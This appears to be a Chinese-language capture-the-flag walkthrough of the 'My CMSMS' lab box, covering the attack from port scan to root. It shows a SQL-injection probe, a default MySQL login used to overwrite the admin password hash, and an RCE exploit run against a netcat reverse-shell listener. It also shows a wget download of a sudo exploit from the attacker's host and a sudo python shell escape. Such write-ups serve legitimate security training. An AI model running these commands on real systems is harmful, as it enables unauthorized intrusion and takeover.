My CMSMS Walkthrough

Box Info

官网在这里:My CMSMS: 1

image-20250325194806444

The Hack

先做全端口扫描

sudo nmap -p- 172.16.33.103

image-20250318105230162

以及应用版本发现

sudo nmap -p22,80,3306,33060 -A 172.16.33.103

image-20250318105330821

仅发现了 HTTP 服务端的 CMS Made Simple ,并没有获得其他有用的信息。似乎 33036 端口枚举失败了,尝试进一步探测:

sudo nmap -p33060 -A -T4 172.16.33.103

好吧看来还是失败了

image-20250318105548168

先从 22 端口开始,尝试利用配置缺陷,以 root 身份登陆,看看有没有泄露信息

ssh root@172.16.33.103                                       

泄露了 HTTP 服务的 CMS:CMSMS 及作者信息

image-20250318105716413

让我们来看看 80 端口,先做一个目录扫描:

dirsearch -u http://172.16.33.103/

image-20250318110628253

发现 phpinfo 访问,发现泄露 mycmsms 版本:4.19.8

image-20250318113200016

十分遗憾的是,直接搜索 My CMSMS exploit 跳出来的直接是该靶机的解题过程,这不是我的本意

可以在主页面左下角找到 CMS Made Simple 版本 2.2.13

image-20250318120029915

去寻找下 CMS Made Simple 2.2.13 漏洞。遗憾的是,搜索到的漏洞都与要登陆 /admin 后才能利用:

image-20250318120627194

可以在这里发现后台登陆页面:

image-20250318202509495

尝试 admin/admin ,admin/passwd 等弱口令登陆,可惜失败了,同时发现,后台对于输出做了限制,防止用户名泄露

image-20250318202825982

更改 POST 数据,看看有没有 SQL 注入漏洞,也失败了:

username=admin'"%)#--%23&password=admin'"%)#--%23&loginsubmit=Submit'"%)#--%23

image-20250318203122088

来看下 3306 端口吧,尝试默认密码组合登陆:

mysql -h 172.16.33.103 -uroot -proot --skip-ssl-verify-server-cert 

十分幸运,登陆成功了:

image-20250318210954301

查看数据库:

MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| cmsms_db |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.053 sec)

使用 cmsms_db 数据库,查看数据表:

MySQL [(none)]> use cmsms_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

MySQL [cmsms_db]> show tables;
+--------------------------------+
| Tables_in_cmsms_db |
+--------------------------------+
| cms_additional_users |
| cms_additional_users_seq |
| cms_admin_bookmarks |
| cms_admin_bookmarks_seq |
| cms_adminlog |
| cms_content |
| cms_content_props |
| cms_content_props_seq |
| cms_content_seq |
| cms_event_handler_seq |
| cms_event_handlers |
| cms_events |
| cms_events_seq |
| cms_group_perms |
| cms_group_perms_seq |
| cms_groups |
| cms_groups_seq |
| cms_layout_design_cssassoc |
| cms_layout_design_tplassoc |
| cms_layout_designs |
| cms_layout_stylesheets |
| cms_layout_templates |
| cms_layout_tpl_addusers |
| cms_layout_tpl_categories |
| cms_layout_tpl_type |
| cms_locks |
| cms_mod_cmsjobmgr |
| cms_mod_filepicker_profiles |
| cms_module_deps |
| cms_module_news |
| cms_module_news_categories |
| cms_module_news_categories_seq |
| cms_module_news_fielddefs |
| cms_module_news_fieldvals |
| cms_module_news_seq |
| cms_module_search_index |
| cms_module_search_items |
| cms_module_search_items_seq |
| cms_module_search_words |
| cms_module_smarty_plugins |
| cms_module_templates |
| cms_modules |
| cms_permissions |
| cms_permissions_seq |
| cms_routes |
| cms_siteprefs |
| cms_user_groups |
| cms_userplugins |
| cms_userplugins_seq |
| cms_userprefs |
| cms_users |
| cms_users_seq |
| cms_version |
+--------------------------------+
53 rows in set (0.035 sec)

查看 cms_users 信息,发现 admin 哈希密码 fb67c6d24e756229aab021cea7605fb3

image-20250318211324263

查看该密文是由什么加密:

hash-identifier fb67c6d24e756229aab021cea7605fb3

看起来最有可能是 MD5

image-20250318211936574

看看能不能用 hashcat 的字典模式暴力破解出来:

hashcat -a 0 -m 0 fb67c6d24e756229aab021cea7605fb3 /usr/share/wordlists/rockyou.txt

可惜没跑出来

image-20250318212045908

由于是 root 权限,看看能不能直接更改密码:

MySQL [cmsms_db]> update cms_users set password = MD5('123456') where username = 'admin';
Query OK, 1 row affected (0.037 sec)
Rows matched: 1 Changed: 1 Warnings: 0

使用 admin / 123456 登陆看看,还是失败了

image-20250318213254470

既然已知 CMS 的版本,那岂不是可以去网上搜索 admin 账户的密码的加密方式?说干就干,在网站搜索 CMS Made Simple admin password

幸运的是,在 CMS Made Simple Admin password recovery 中找到了 admin 密码的加密方式:

image-20250318215218448

稍作更改:

update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'123'))) where username = 'admin';

成功进入后台:

image-20250318215409826

使用 https://dev.cmsmadesimple.org/bug/view/12275 中的 exp 尝试 RCE

image-20250318220216279

利用失败,尝试扩大利用范围,使用版本相近的 2.2.14 exp 代码:

searchsploit -m 48779
python 48779.py --url http://172.16.33.103/admin/login.php -u admin -p 123 -lhost 10.8.0.90 -lport 1234
nc -nvlp 1234

getshell :

image-20250318222649383

image-20250318222710238

接下来是提权,查看 sudo 版本

sudo -V

image-20250319182043155

搜索对应版本 sudo 漏洞利用代码:CVE-2021-3156

上传至目标主机

wget http://10.8.0.90:4444/exp.py
chmod +x exp.py
python exp.py

提权成功

image-20250319182951767

或者在 /var/www/html/admin 目录下发现 .htpasswd 文件,内容为密文 TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0=

使用 cyberchef 的 magic 方法破解出账户和密码:

armour:Shield@123

image-20250319183333186

切换至 armour 用户

su armour

image-20250319183733223

该用户具有 pyhon sudo 权限

image-20250319184057890

使用 python 提权:

sudo python -c 'import os; os.system("/bin/sh")'

提权成功

image-20250319184130060